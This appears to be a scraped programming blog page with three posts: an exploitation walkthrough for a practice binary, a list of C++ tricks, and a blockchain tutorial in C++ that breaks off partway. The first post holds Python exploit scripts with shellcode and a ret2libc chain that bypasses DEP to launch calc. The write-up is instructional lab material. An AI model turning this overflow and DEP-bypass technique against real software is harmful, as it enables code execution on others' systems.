MOV AX, BX Code depilation salon: Articles, Code samples, Processor code documentation, Low-level programming, Working with debuggers examples

Hey folks! this topic details how to overflow a buffer, bypass DEP (Data Execution Prevention) and take control of the executable

Recommended Prerequisites

C/C++ language, a basic level would be fine
x86 Intel Assembly
Familiarity with Buffer Overflow
Debuggers/Disassembly

The binary

File 40
Virustotal 22

Okay, first thing we need to do is see what the executable brings us, so we run it.

r_opt

Here we see that it is asking for a file file.dat but as it does not exist it tells us that it cannot be opened, Once created we see that it shows us a message with 3 values at 0 that seem to correspond to 3 variables (cookie, cookie2 and size) and nothing else.

Since we don’t know what it does, let’s take a look at it.

This function has 5 variables, 4 of which are initialized at 0 and one at 32h (“2”), there is a pointer to LoadLibrary that is stored in 0x10103024 then makes a fopen to “fichero.dat” file in binary read mode, stores the FILE pointer in 0x10103020 and finally checks if it exists, if it does not exist it will go to 0x101010d3 and closes (as we saw before) and if it exists it goes to 0x101010e9, let’s look there

function2_opt(1)

Ok, in this procedure it first reads 4 bytes of fichero.dat with fread and stores them in a pointer to a block of memory look 10 (ebp-c), fread returns the total number of elements read and stores it in ebp-8, it does fread of 4 bytes again for the file and stores them in a pointer to ebp-10 then it does it one more time of 1 byte and stores it in a pointer to ebp-1, finally it compares this byte with [ebp-14] which is 32h (“2”) and if it is less than or equal (jle) it goes to 0x10101155 if it doesn’t, show a message saying “Nos fuimos al carajo” (We’re going to fuck off) and it closes.

Then we write in the file 8 bytes + the correct byte (“2”) and we enter 0x10101155, for example:

1234 + 5678 + 2

function3_opt

Well, here it pushes the saved bytes with fread and prints them, allocates 50 bytes (32h) of memory with malloc, stores the pointer to the allocated memory in ebp-1c then push the first 8 bytes of “fichero.dat” to 0x10101010, let’s look over there

function4_opt

Okay, what it does here is it takes the first 4 bytes of fichero.dat and adds them to the following 4 bytes then the result is compared to 58552433h, if the condition is correct, loads “pepe.dll”, then let’s make sure the condition is met (as it is little endian we have to put the bytes at backwards)

As not all characters meet the condition as “0” (30h) +»(» (28h) = 58h (1 byte correct) we do a script that does it and ready

data = "\x21\x1210" + "\x12\x12$(" + "2"
with open("fichero.dat", "w") as file:
	file.write(data)

Okay, this must meet the condition, let’s see.

check58_opt

Well, let’s see what’s it now.

buffer_opt

Once we leave 0x10101010 we see that it reads [ebp-1] bytes of fichero.dat with fread and stores it in a buffer pointing to (ebp-54), Okay, here’s a buffer overflow, let’s analyze it.

First we saw that the ninth byte of “fichero.dat” was stored in [ebp-1], then compared to [ebp-14] (“2”)

anal1_opt(1)

Well, now we see that that byte ([ebp-1]) is used as size of fread that will store that number of bytes (size) in a buffer (ebp-54) of 52 bytes, as the nearest variable is ebp-20, [ebp-54] — [ebp-20] = [ebp-34], so 34h (52d), we can also see it in the IDA stack, right click -> array -> ok

buffer_opt(1)

idastack_opt(1)

Okay, knowing all that, how could we overflow the buffer?

[ebp-1] is the ninth byte of fichero.dat, the size of fread for store in the buffer [ebp-54] and must also be less than or equal to 32h (“2”).

So we know that negative numbers in hexadecimal are higher in decimal, so if we put a negative number in hexadecimal it would allow us to enter more bytes than allowed (52d) and this is because it is signed (jle)

0x10101139 movsx ecx,  byte ptr ss:[ebp-1]
0x1010113d cmp ecx,    dword ptr ss:[ebp-14]
0x10101140 jle         stack9b.10101155

Let’s try to get to the edge of the buffer and at the same time overflowing 2 bytes of the fread stipulation (50 bytes, 32h).

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + "A" * 52

with open("fichero.dat", "w") as file:
	file.write(data)

ff_opt
ffstack_opt

Cool!!! Let’s see what else there is to see if we can control the retn.

Well, now there is a procedure where it copy the buffer bytes [ebp-54] for the block in memory allocated by malloc [ebp-1c]

So, if I fill out [ebp-1c] with “\x41x41x41\x41” he won’t be able to write because it’s not a valid address, let’s find one that is.

ywrite_opt

All right, let’s check the stack, see how many bytes it takes to get to the start of retn and control it.

88b_opt

Okay, let’s set up our exploit

import subprocess

shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"

buff = "\x41" * 52
ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = shellcode


data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + ebp_20 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r

with open("fichero.dat", "w") as file:
	file.write(data)

subprocess.call(r"stack9b.exe")

Well, we already have EIP under control but now it doesn’t allow me to execute my shellcode, this is due to DEP (data execution prevention).

Summarizing up, DEP changes the permissions of the segments where data is stored to prevent us from executing code there -ricnar

So to bypass the DEP we can do ROP (return oriented programming) which is basically using gadgets that are program’s executable code to change the stack permissions with some api like VirtualProtect or VirtualAlloc

Looking for gadgets in pepe.dll I couldn’t find VirtualAlloc, but there is a pointer to system() , would only be missing a return that can be exit() and a fixed place that we can control to pass it a string to system()

system_opt(1)
exit_opt

Now only the string for system() would be missing, we can use the address with write permission

calc_opt(1)

Here I set up the stack because malloc only assigned 50 bytes and then had no control over the eip and that’s how the exploit would look.

import subprocess

system = "\x24\x98\x01\x78"    # system()
calc = "calc.exe"

buff = "\x41" * 42
#ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = system
exit = "\x78\x1d\x10\x10"    # exit()
ptr_calc = "\x5a\x30\x10\x10"



data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + calc + "\x41" * 6 +  ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r + exit + ptr_calc

with open("fichero.dat", "w") as file:
	file.write(data)

subprocess.call(r"stack9b.exe")

11.07.2018

What are some fun C++ tricks

This one applies to all languages so far:

a=a+b-(b=a);

A REALLY fast way of swaping a and b.

#include <iostream>
#include <string>

using namespace std;

int main (int argc, char*argv) {
float a; cout << «A:»; cin >> a;
float b; cout << «B:» ; cin >> b;

cout << «———————» << endl;
cout << «A=» << a << «, B=» << b << endl;
a=a+b-(b=a);
cout << «A=» << a << «, B=» << b << endl;
exit(0);
}

void Send(int * to, const int* from, const int count)

{

int n = (count+7) / 8;

switch(count%8)

{

case 0:

do

{

*to++ = *from++;

case 7:

*to++ = *from++;

case 6:

*to++ = *from++;

case 5:

*to++ = *from++;

case 4:

*to++ = *from++;

case 3:

*to++ = *from++;

case 2:

*to++ = *from++;

case 1:

*to++ = *from++;

} while (—n>0);

}

Preprocessor Tricks

The arraysize macro used in Chrome’s source:

template <typename T, size_t N>

char (&ArraySizeHelper(T (&array)[N]))[N];

#define arraysize(array) (sizeof(ArraySizeHelper(array)))

This is better than the ordinary sizeof(array)/sizeof(array[0]) because it raises compilation errors when the passed in array is just a pointer, or a null pointer whereas the simpler macro silently returns a useless value. For a detailed example, see PVS-Studio vs Chromium.

Predefined Macros:

#define expect(expr) if(!expr) cerr << «Assertion « << #expr \

» failed at « << __FILE__ << «:» << __LINE__ << endl;

#define stringify(x) #x

#define tostring(x) stringify(x)

#define MAGIC_CONSTANT 314159

cout << «Value of MAGIC_CONSTANT=» << tostring(MAGIC_CONSTANT);

The tostring macro is a common trick used to expand macro values inside other macros. The Linux kernel uses a lot of macro tricks.

Using iterators for quickly dumping the contents of a container:

#define dbg(v) copy(v.begin(), v.end(), ostream_iterator<typeof(*v.begin())>(cout, » «))

Sadly, this doesn’t work for pair types so maps are out of scope.

Template Voodoo

Recursion:You can specialize your class templates for certain cases, so you can write down the base-case of a recursion and then define the generic template as a recursive combination of base cases.
For example, the following code calculates the values of the Choose function at compile time:

template<unsigned n, unsigned r>

struct Choose {

enum {value = (n * Choose<n—1, r—1>::value) / r};

};

template<unsigned n>

struct Choose<n, 0> {

enum {value = 1};

};

int main() {

// Prints 56

cout << Choose<8, 3>::value;

// Compile time values can be used as array sizes

int x[Choose<25, 3>::value];

}

More interesting examples at C++ Programming/Templates/Template Meta-Programming

Mostly Painless Memory Management and RAII

With certain restrictions, you can create templates for «smart» pointers that automatically deallocate resources when they go out of scope or reference count goes to 0. This is basically done by overloading operator * and operator =. Based on your use case, you can transfer ownership when the operator = is used, or update reference counts.
See Smart Pointer Guidelines — The Chromium Projects and http://code.google.com/searchfra…

Argument-dependent name lookup aka Koenig lookup

When a function call cannot be matched to a name in the current namespace, other namespaces can be searched for a matching signature. This is why std::cout << "Hi"; works even though operator << is defined in the stdnamespace.
See Argument-dependent name lookup

auto keyword
In C++ you can use auto to iterate over map,vector,set,..etc which specifies that the type of the variable that is being declared will be automatically deduced from its initializer or for functions it will the return type or it will be deduced from its return statements
So instead of :

vector<int> vs;

vs.push_back(4),vs.push_back(7),vs.push_back(9),vs.push_back(10);

for (vector<int>::iterator it = vs.begin(); it != vs.end(); ++it)

cout << *it << ‘ ‘;cout<<‘\n’;

just use :

vector<int> vs;

vs.push_back(4),vs.push_back(7),vs.push_back(9),vs.push_back(10);

for (auto it: vs)

cout << it << ‘ ‘;cout<<endl;

//you can also change the values using

vector<int> vs;

vs.push_back(4),vs.push_back(7),vs.push_back(9),vs.push_back(10);

for (auto& it: vs) it*=3;

for (auto it: vs)

cout << it << ‘ ‘;cout<<endl;

Declaring variable

template<class A, class B>

auto mult(A x, B y) -> decltype(x * y){

return x * y;

}

int main(){

auto a = 3 * 2; //the return type is the type of operator (x*y)

cout<<a<<endl;

return 0;

}

The Power of Strings

int n,m;

cin >> n >> m;

int matrix[n+1][m+1];

//This loop

for(int i = 1; i <= n; i++) {

for(int j = 1; j <= m; j++)

cout << matrix[i][j] << » «;

cout << «\n»;

}

// is equivalent to this

for(int i = 1; i <= n; i++)

for(int j = 1; j <= m; j++)

cout << matrix[i][j] << » \n»[j == m];

because " \n" is a char*," \n"[0] is ' ' and " \n"[1] is '\n' .

Some Hidden function
__gcd(x, y)
you don’t need to code gcd function.

cout<<__gcd(54,48)<<endl; //return 6

__builtin_ffs(x)
This function returns 1 + least significant 1-bit of x. If x == 0, returns 0. Here x is int, this function with suffix ‘l’ gets a long argument and with suffix ‘ll’ gets a long long argument.
e.g: __builtin_ffs(10) = 2 because 10 is ‘…10 1 0′ in base 2 and first 1-bit from right is at index 1 (0-based) and function returns 1 + index.three)

Pairing tricks

pair<int, int> p;

//This

p = make_pair(1, 2);

//equivalent to this

p = {1, 2};

//So

pair<int, pair<char, long long> > p;

//now easier

p = {1, {‘a’, 2ll}};

Super include
Simply use
#include <bits/stdc++.h>
This library includes many of libraries we do need like algorithm, iostream, vector and many more. Believe me you don’t need to include anything else 😀 !!

Smart Pointers

Using smart pointers, we can make pointers to work in way that we don’t need to explicitly call delete. Smart pointer is a wrapper class over a pointer with operator like * and -> overloaded. The objects of smart pointer class look like pointer, but can do many things that a normal pointer can’t like automatic destruction (yes, we don’t have to explicitly use delete), reference counting and more.
The idea is to make a class with a pointer, destructor and overloaded operators like * and ->. Since destructor is automatically called when an object goes out of scope, the dynamically alloicated memory would automatically deleted (or reference count can be decremented).

You can put URIs in your C++ code and the compiler will not throw any error.

#include <iostream>

int main() {

using namespace std;

http://www.google.com

int x = 5;

cout << x;

}

Explanation: Any identifier followed by a : becomes a (goto) label in C++. Anything followed by // becomes a comment so in the code above, http is a label and //google.com/is a comment. The compiler might throw a warning however, since the label is unutilized.

Don’t Confuse Assign (=) with Test-for-Equality (==).

This one is elementary, although it might have baffled Sherlock Holmes. The following looks innocent and would compile and run just fine if C++ were more like BASIC:

if (a = b)
cout << «a is equal to b.»;

Because this looks so innocent, it creates logic errors requiring hours to track down within a large program unless you’re on the lookout for it. (So when a program requires debugging, this is the first thing I look for.) In C and C++, the following is not a test for equality:

a = b

What this does, of course, is assign the value of b to a and then evaluate to the value assigned.
The problem is that a = b does not generally evaluate to a reasonable true/false condition—with one major exception I’ll mention later. But in C and C++, any numeric value can be used as a condition for “if” or “while.
Assume that a and b are set to 0. The effect of the previously-shown if statement is to place the value of b into a; then the expression a = b evaluates to 0. The value 0 equates to false. Consequently, aand b are equal, but exactly the wrong thing gets printed:

if (a = b) // THIS ENSURES a AND b ARE EQUAL…
cout << «a and b are equal.»;
else
cout << «a and b are not equal.»; // BUT THIS GETS PRINTED!

The solution, of course, is to use test-for-equality when that’s what you want. Note the use of double equal signs (==). This is correct inside a condition.

// CORRECT VERSION:
if (a == b)
cout << «a and b are equal.»;

The most amazing trick i found was a status of someone’s topcoder profile:
Code:
#include <cstdio>
double m[]= {7709179928849219.0, 771};
int main()
{
m[1]—?m[0]*=2,main():printf((char*)m);
}
You will be seriously amazed by the ouput…here it is:
C++Sucks

I tried to analyse the code and came up with a reason but not an exact explanation..so i tried to ask it on stackoverflow..you can go through the explanation here:
Concept behind this 4 lines tricky C++ code
Read it and you will learn something you wouldn’t have even thought of… 😉

Set Bits using a macro compacted lookup table: (Source Bit Twiddling Hacks)

static const unsigned char BitsSetTable256[256] =

{

# define B2(n) n, n+1, n+1, n+2

# define B4(n) B2(n), B2(n+1), B2(n+1), B2(n+2)

# define B6(n) B4(n), B4(n+1), B4(n+1), B4(n+2)

B6(0), B6(1), B6(1), B6(2)

};

unsigned int v; // count the number of bits set in 32-bit value v

unsigned int c; // c is the total bits set in v

// Option 1:

c = BitsSetTable256[v & 0xff] +

BitsSetTable256[(v >> 8) & 0xff] +

BitsSetTable256[(v >> 16) & 0xff] +

BitsSetTable256[v >> 24];

// Option 2:

unsigned char * p = (unsigned char *) &v;

c = BitsSetTable256[p[0]] +

BitsSetTable256[p[1]] +

BitsSetTable256[p[2]] +

BitsSetTable256[p[3]];

// To initially generate the table algorithmically:

BitsSetTable256[0] = 0;

for (int i = 0; i < 256; i++)

{

BitsSetTable256[i] = (i & 1) + BitsSetTable256[i / 2];

}

Inverse square root approximation: (Source Fast inverse square root)

float Q_rsqrt( float number )

{

long i;

float x2, y;

const float threehalfs = 1.5F;

x2 = number * 0.5F;

y = number;

i = * ( long * ) &y; // evil floating point bit level hacking

i = 0x5f3759df - ( i >> 1 ); // what the fuck?

y = * ( float * ) &i;

y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration

// y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed

return y;

}

Iteration:

#define FOR(i,n) for(int (i)=0;(i)<(n);(i)++)

#define FORR(i,a,b) for(int (i)=(a);(i)<(b);(i)++)

//reverse

#define REV(i,n) for(int (i)=(n)-1;(i)>=0;(i)--)

Handy way to use it like this.

typedef long long int int64;

typedef unsigned long long int uint64;

FastIO for +ve integers.

inline void frint(int *a){

register char c=0;while (c<33) c=getchar_unlocked();*a=0;

while (c>33){*a=*a*10+c-'0';c=getchar_unlocked();}

}

Try This….

#include <iostream>
using namespace std;
int main()
{
int a,b,c;
int count = 1;
for (b=c=10;a=»- FIGURE?, UMKC,XYZHello Folks,\
TFy!QJu ROo TNn(ROo)SLq SLq ULo+\
UHs UJq TNn*RPn/QPbEWS_JSWQAIJO^\
NBELPeHBFHT}TnALVlBLOFAkHFOuFETp\
HCStHAUFAgcEAelclcn^r^r\\tZvYxXy\
T|S~Pn SPm SOn TNn ULo0ULo#ULo-W\
Hq!WFs XDt!» [b+++21]; )
for(; a— > 64 ; )
putchar ( ++c==’Z’ ? c = c/ 9:33^b&1);
return 0;
}

I think one of the coolest of all time, is defining an abstract base class in C++, and inheriting from it in python, and passing it back to C++ to call.
It actually works

struct Interface{

int foo()const=0;

virtual ~Interface(){}

};

void call(Interface const& f){

std::cout<<f.foo()<<std::endl;

}

struct InterfaceWrap final: Interface, boost::python::wrapper<Interface>

{

int foo() const final

{

return this->get_override("foo")();

}

};

BOOST_PYTHON_MODULE(interface){

using namespace boost::python;

class_<Interface ,boost ::noncopyable,boost::shared_ptr<Interface>>("_InterfaceCpp",no_init)

.def("foo",&Interface::foo)

;

class_<InterfaceWrap ,bases<Interface>,boost::shared_ptr<InterfaceWrap>>("Interface",init<>())

;

def("call",&call);

}

and then

import interface as i # C++ code

class impl(i.Interface):#inherit from C++ class

def __init__(self):

i.Interface.__init__(self)

def foo(self):

return 100

i.call(impl())#call C++ function with Python derived class

This does exactly what you think it should do.

void qsort ( void * base, size_t num, size_t size, int ( * compar ) ( const void *, const void * ) )

base Pointer to the first element of the array to be sorted.

num Number of elements in the array pointed by base. size_t is an unsigned integral type.

size Size in bytes of each element in the array. size_t is an unsigned integral type.

compar Function that compares two elements. This function is called repeatedly by qsorttocomparetwoelements.It shall follow the following prototype:

int compar ( const void * elem1, const void * elem2 );

Taking a pointer to two pointers as arguments (both type-casted to const void*). The function should compare the data pointed by both: if they match in ranking, the function shall return zero; if elem1 goes before elem2, it shall return a negative value; and if it goes after, a positive value.

Eg :

int values[] = { 40, 10, 100, 90, 20, 25 };

int compare (const void * a, const void * b) { return ( *(int*)a — *(int*)b ); }

int main () {
int n;
qsort (values, 6, sizeof(int), compare);
for (n=0; n<6; n++) printf («%d «,values[n]); return 0; }

Partial template specialization

C++11 has this cool function get<J> which can be used to access the first and second member of a pair, with a different syntax:

std::pair < std::string, double > pr ( «pi», 3.14 );

std::cout << std::get < 0 > ( pr ); // outputs «pi»

std::cout << std::get < 1 > ( pr ); // outputs 3.14

Note that this is a function and not a function object or a member function.

I do not find it trivial to write a function

with three template types template < size_t J, class T1, class T2 >

which can get std::pair < T1, T2 > as an argument

and outputs pr.first if the template value J is 0

and outputs pr.second if the template value J is 1.

In particular consider that in C++ one cannot overload a function based on its return type. So what should the return type of this function be declared as? T1 or T2?

template < size_t J, class T1, class T2>

??? get ( std::pair < T1, T2 > & );

The interesting thing is that one could already write this function in C++98 using Partial template specialization, which is a really cool trick. The problem is that function templates cannot be partially specialized, but this is easy to solve:

namespace

{

/*!

* helper template to do the work with partial specialization

*/

template < size_t J, class T1, class T2 >

struct Get;

template < class T1, class T2>

struct Get < 0, T1, T2 >

{

typedef typename std::pair < T1, T2 >::first_type result_type;

static result_type & elm ( std::pair < T1, T2 > & pr ) { return pr.first; }

static const result_type & elm ( const std::pair < T1, T2 > & pr ) { return pr.first; }

};

template < class T1, class T2>

struct Get < 1, T1, T2 >

{

typedef typename std::pair < T1, T2 >::second_type result_type;

static result_type & elm ( std::pair < T1, T2 > & pr ) { return pr.second; }

static const result_type & elm ( const std::pair < T1, T2 > & pr ) { return pr.second; }

};

}

template < size_t J, class T1, class T2 >

typename Get< J, T1, T2 >::result_type & get ( std::pair< T1, T2 > & pr )

{

return Get < J, T1, T2 >::elm( pr );

}

template < size_t J, class T1, class T2 >

const typename Get< J, T1, T2 >::result_type & get ( const std::pair< T1, T2 > & pr )

{

return Get < J, T1, T2 >::elm( pr );

}

Define operator<< for STL structures to make it easy to add debug outputs to your code. (This is better than special printing functions because it nests automatically! Printing a map< vector<int>, int> works without any additional effort if you can print any map and any vector.)

Additionally, define a macro that makes nicer debug outputs and makes it easy to turn them off using the standard mechanism (same one that is used for assert). Here’s a short example how to do all of this in C++11:

#include <iostream>
#include <string>
#include <map>
#ifdef NDEBUG
#define DEBUG(var)
#else
#define DEBUG(var) { std::cout << #var << ": " << (var) << std::endl; }
#endif
template<typename T1, typename T2>
std::ostream& operator<< (std::ostream& out, const std::map<T1,T2> &M) {
out << "{ ";
for (auto item:M) out << item.first << "->" << item.second << ", ";
out << "}";
return out;
}
int main() {
std::map<std::string,int> age = { {"Joe",47}, {"Bob",22}, {"Laura",19} };
DEBUG(age);
}

This is a very amazing piece of code:

main(a){printf(a,34,a=»main(a){printf(a,34,a=%c%s%c,34);}»,34);}

It is the shortest C++ code which when executed prints itself. It was discovered by Vlad Taeerov and Rashit Fakhreyev and is only 64 characters in length(Making it the shortest).

To Convert list<T> to vector<T>:

std::vector<T> v(l.begin(), l.end());

Variadic Templates :

They can be useful in places. You can pass any number of parameters .
Example :

#include <iostream>
#include <bitset>
#include <string>
using namespace std;
void print() {
cout<<«Nothing to print :)» ;
}
template<typename T,typename… args>
void print(T x,args… y) {
cout<<x<<endl;
print(y…);
}
int main() {
print(10,14.56,«Quora»,bitset<20>(28));
return 0;
}

Code on ideon : http://ideone.com/b8TNHD

Output :

10
14.56
Quora
00000000000000011100
Nothing to print 🙂

Range based for loops can be used with some STL containers :
eg.

#include <iostream>
#include <list>
#include <vector>
using namespace std;
int main() {
list<int> x;
x.push_back(10);
x.push_back(20);
for(auto i : x)
cout<<i;
return 0;
}

11.07.2018

Build a blockchain with C++

So, you might have heard a lot about something called a blockchain lately and wondered what all the fuss is about. A blockchain is a ledger which has been written in such a way that updating the data contained within it becomes very difficult, some say the blockchain is immutable and to all intents and purposes they’re right but immutability suggests permanence and nothing on a hard drive could ever be considered permanent. Anyway, we’ll leave the philosophical debate to the non-techies; you’re looking for someone to show you how to write a blockchain in C++, so that’s exactly what I’m going to do.

Before I go any further, I have a couple of disclaimers:

This tutorial is based on one written by Savjee using NodeJS; and
It’s been a while since I wrote any C++ code, so I might be a little rusty.

The first thing you’ll want to do is open a new C++ project, I’m using CLion from JetBrains but any C++ IDE or even a text editor will do. For the interests of this tutorial we’ll call the project TestChain, so go ahead and create the project and we’ll get started.

If you’re using CLion you’ll see that the main.cpp file will have already been created and opened for you; we’ll leave this to one side for the time being.

Create a file called Block.h in the main project folder, you should be able to do this by right-clicking on the TestChain directory in the Project Tool Window and selecting: New > C/C++ Header File.

Inside the file, add the following code (if you’re using CLion place all code between the lines that read #define TESTCHAIN_BLOCK_H and #endif):

1 2	#include <cstdint> #include <iostream>

These lines above tell the compiler to include the cstdint, and iostream libraries.

Add this line below it:

1	using namespace std;

This essentially creates a shortcut to the std namespace, which means that we don’t need to refer to declarations inside the stdnamespace by their full names e.g. std::string, but instead use their shortened names e.g. string.

So far, so good; let’s start fleshing things out a little more.

A blockchain is made up of a series of blocks which contain data and each block contains a cryptographic representation of the previous block, which means that it becomes very hard to change the contents of any block without then needing to change every subsequent one; hence where the blockchain essentially gets its immutable properties.

So let’s create our block class, add the following lines to the Block.h header file:

class Block {

public:

string sPrevHash;

Block(uint32_t nIndexIn, const string &sDataIn);

string GetHash();

void MineBlock(uint32_t nDifficulty);

private:

uint32_t _nIndex;

int64_t _nNonce;

string _sData;

string _sHash;

time_t _tTime;

string _CalculateHash() const;

};

Unsurprisingly, we’re calling our class Block (line 1) followed by the public modifier (line 2) and public variable sPrevHash(remember each block is linked to the previous block) (line 3). The constructor signature (line 5) takes three parameters for nIndexIn, and sDataIn; note that the const keyword is used along with the reference modifier (&) so that the parameters are passed by reference but cannot be changed, this is done to improve efficiency and save memory. The GetHash method signature is specified next (line 7) followed by the MineBlock method signature (line 9), which takes a parameter nDifficulty. We specify the private modifier (line 11) followed by the private variables _nIndex, _nNonce, _sData, _sHash, and _tTime (lines 12–16). The signature for _CalculateHash (line 18) also has the const keyword, this is to ensure the output from the method cannot be changed which is very useful when dealing with a blockchain.

Now it’s time to create our Blockchain.h header file in the main project folder.

Let’s start by adding these lines (if you’re using CLion place all code between the lines that read #define TESTCHAIN_BLOCKCHAIN_H and #endif):

#include <cstdint>

#include <vector>

#include «Block.h»

using namespace std;

They tell the compiler to include the cstdint, and vector libraries, as well as the Block.h header file we have just created, and creates a shortcut to the std namespace.

Now let’s create our blockchain class, add the following lines to the Blockchain.h header file:

class Blockchain {

public:

Blockchain();

void AddBlock(Block bNew);

private:

uint32_t _nDifficulty;

vector<Block> _vChain;

Block _GetLastBlock() const;

};

As with our block class, we’re keeping things simple and calling our blockchain class Blockchain (line 1) followed by the publicmodifier (line 2) and the constructor signature (line 3). The AddBlock signature (line 5) takes a parameter bNew which must be an object of the Block class we created earlier. We then specify the private modifier (line 7) followed by the private variables for _nDifficulty, and _vChain (lines 8–9) as well as the method signature for _GetLastBlock (line 11) which is also followed by the const keyword to denote that the output of the method cannot be changed.

Ain't nobody got time for that! Since blockchains use cryptography, now would be a good time to get some cryptographic functionality in our blockchain. We’re going to be using the SHA256 hashing technique to create hashes of our blocks, we could write our own but really – in this day and age of open source software – why bother?

To make my life that much easier, I copied and pasted the text for the sha256.h, sha256.cpp and LICENSE.txt files shown on the C++ sha256 function from Zedwood and saved them in the project folder.

Right, let’s keep going.

Create a source file for our block and save it as Block.cpp in the main project folder; you should be able to do this by right-clicking on the TestChain directory in the Project Tool Window and selecting: New > C/C++ Source File.

Start by adding these lines, which tell the compiler to include the Block.h and sha256.h files we added earlier.

1 2	#include «Block.h» #include «sha256.h»

Follow these with the implementation of our block constructor:

Block::Block(uint32_t nIndexIn, const string &sDataIn) : _nIndex(nIndexIn), _sData(sDataIn) {

_nNonce = —1;

_tTime = time(nullptr);

}

The constructor starts off by repeating the signature we specified in the Block.h header file (line 1) but we also add code to copy the contents of the parameters into the the variables _nIndex, and _sData. The _nNonce variable is set to -1 (line 2) and the _tTime variable is set to the current time (line 3).

Let’s add an accessor for the block’s hash:

string Block::GetHash() {

return _sHash;

}

We specify the signature for GetHash (line 1) and then add a return for the private variable _sHash (line 2).

As you might have read, blockchain technology was made popular when it was devised for the Bitcoin digital currency, as the ledger is both immutable and public; which means that, as one user transfers Bitcoin to another user, a transaction for the transfer is written into a block on the blockchain by nodes on the Bitcoin network. A node is another computer which is running the Bitcoin software and, since the network is peer-to-peer, it could be anyone around the world; this process is called ‘mining’ as the owner of the node is rewarded with Bitcoin each time they successfully create a valid block on the blockchain.

To successfully create a valid block, and therefore be rewarded, a miner must create a cryptographic hash of the block they want to add to the blockchain that matches the requirements for a valid hash at that time; this is achieved by counting the number of zeros at the beginning of the hash, if the number of zeros is equal to or greater than the difficulty level set by the network that block is valid. If the hash is not valid a variable called a nonce is incremented and the hash created again; this process, called Proof of Work (PoW), is repeated until a hash is produced that is valid.

So, with that being said, let’s add the MineBlock method; here’s where the magic happens!

void Block::MineBlock(uint32_t nDifficulty) {

char cstr[nDifficulty + 1];

for (uint32_t i = 0; i < nDifficulty; ++i) {

cstr[i] = ‘0’;

}

cstr[nDifficulty] = ‘\0’;

string str(cstr);

do {

_nNonce++;

_sHash = _CalculateHash();

} while (_sHash.substr(0, nDifficulty) != str);

cout << «Block mined: « << _sHash << endl;

}

We start with the signature for the MineBlock method, which we specified in the Block.h header file (line 1), and create an array of characters with a length one greater that the value specified for nDifficulty (line 2). A for loop is used to fill the array with zeros, followed by the final array item being given the string terminator character (\0), (lines 3–6) then the character array or c-string is turned into a standard string (line 8). A do…while loop is then used (lines 10–13) to increment the _nNonce and _sHashis assigned with the output of _CalculateHash, the front portion of the hash is then compared the string of zeros we’ve just created; if no match is found the loop is repeated until a match is found. Once a match is found a message is sent to the output buffer to say that the block has been successfully mined (line 15).

We’ve seen it mentioned a few times before, so let’s now add the _CalculateHash method:

inline string Block::_CalculateHash() const {

stringstream ss;

ss << _nIndex << _tTime << _sData << _nNonce << sPrevHash;

return sha256(ss.str());

}

We kick off with the signature for the _CalculateHash method (line 1), which we specified in the Block.h header file, but we include the inline keyword which makes the code more efficient as the compiler places the method’s instructions inline wherever the method is called; this cuts down on separate method calls. A string stream is then created (line 2), followed by appending the values for _nIndex, _tTime, _sData, _nNonce, and sPrevHash to the stream (line 3). We finish off by returning the output of the sha256 method (from the sha256 files we added earlier) using the string output from the string stream (line 5).

Right, let’s finish off our blockchain implementation! Same as before, create a source file for our blockchain and save it as Blockchain.cpp in the main project folder.

Add these lines, which tell the compiler to include the Blockchain.h file we added earlier.

1	#include «Blockchain.h»

Follow these with the implementation of our blockchain constructor:

Blockchain::Blockchain() {

_vChain.emplace_back(Block(0, «Genesis Block»));

_nDifficulty = 6;

}

We start off with the signature for the blockchain constructor we specified in Blockchain.h (line 1). As a blocks are added to the blockchain they need to reference the previous block using its hash, but as the blockchain must start somewhere we have to create a block for the next block to reference, we call this a genesis block. A genesis block is created and placed onto the _vChain vector (line 2). We then set the _nDifficulty level (line 3) depending on how hard we want to make the PoW process.

Now it’s time to add the code for adding a block to the blockchain, add the following lines:

void Blockchain::AddBlock(Block bNew) {

bNew.sPrevHash = _GetLastBlock().GetHash();

bNew.MineBlock(_nDifficulty);

_vChain.push_back(bNew);

}

The signature we specified in Blockchain.h for AddBlock is added (line 1) followed by setting the sPrevHash variable for the new block from the hash of the last block on the blockchain which we get using _GetLastBlock and its GetHash method (line 2). The block is then mined using the MineBlock method (line 3) followed by the block being added to the _vChain vector (line 4), thus completing the process of adding a block to the blockchain.

Let’s finish this file off by adding the last method:

Block Blockchain::_GetLastBlock() const {

return _vChain.back();

}

We add the signature for _GetLastBlock from Blockchain.h (line 1) followed by returning the last block found in the _vChainvector using its back method (line 2).

Right, that’s almost it, let’s test it out!

Remember the main.cpp file? Now’s the time to update it, open it up and replace the contents with the following lines:

1	#include «Blockchain.h»

This tells the compiler to include the Blockchain.h file we created earlier.

Then add the following lines:

int main() {

Blockchain bChain = Blockchain();

cout << «Mining block 1…» << endl;

bChain.AddBlock(Block(1, «Block 1 Data»));

cout << «Mining block 2…» << endl;

bChain.AddBlock(Block(2, «Block 2 Data»));

cout << «Mining block 3…» << endl;

bChain.AddBlock(Block(3, «Block 3 Data»));

return 0;

}

As with most C/C++ programs, everything is kicked off by calling the main method, this one creates a new blockchain (line 2) and informs the user that a block is being mined by printing to the output buffer (line 4) then creates a new block and adds it to the chain (line 5); the process for mining that block will then kick off until a valid hash is found. Once the block is mined the process is repeated for two more blocks.

Time to run it! If you are using CLion simply hit the ‘Run TestChain’ button in the top right hand corner of the window. If you’re old skool, you can compile and run the program using the following commands from the command line:

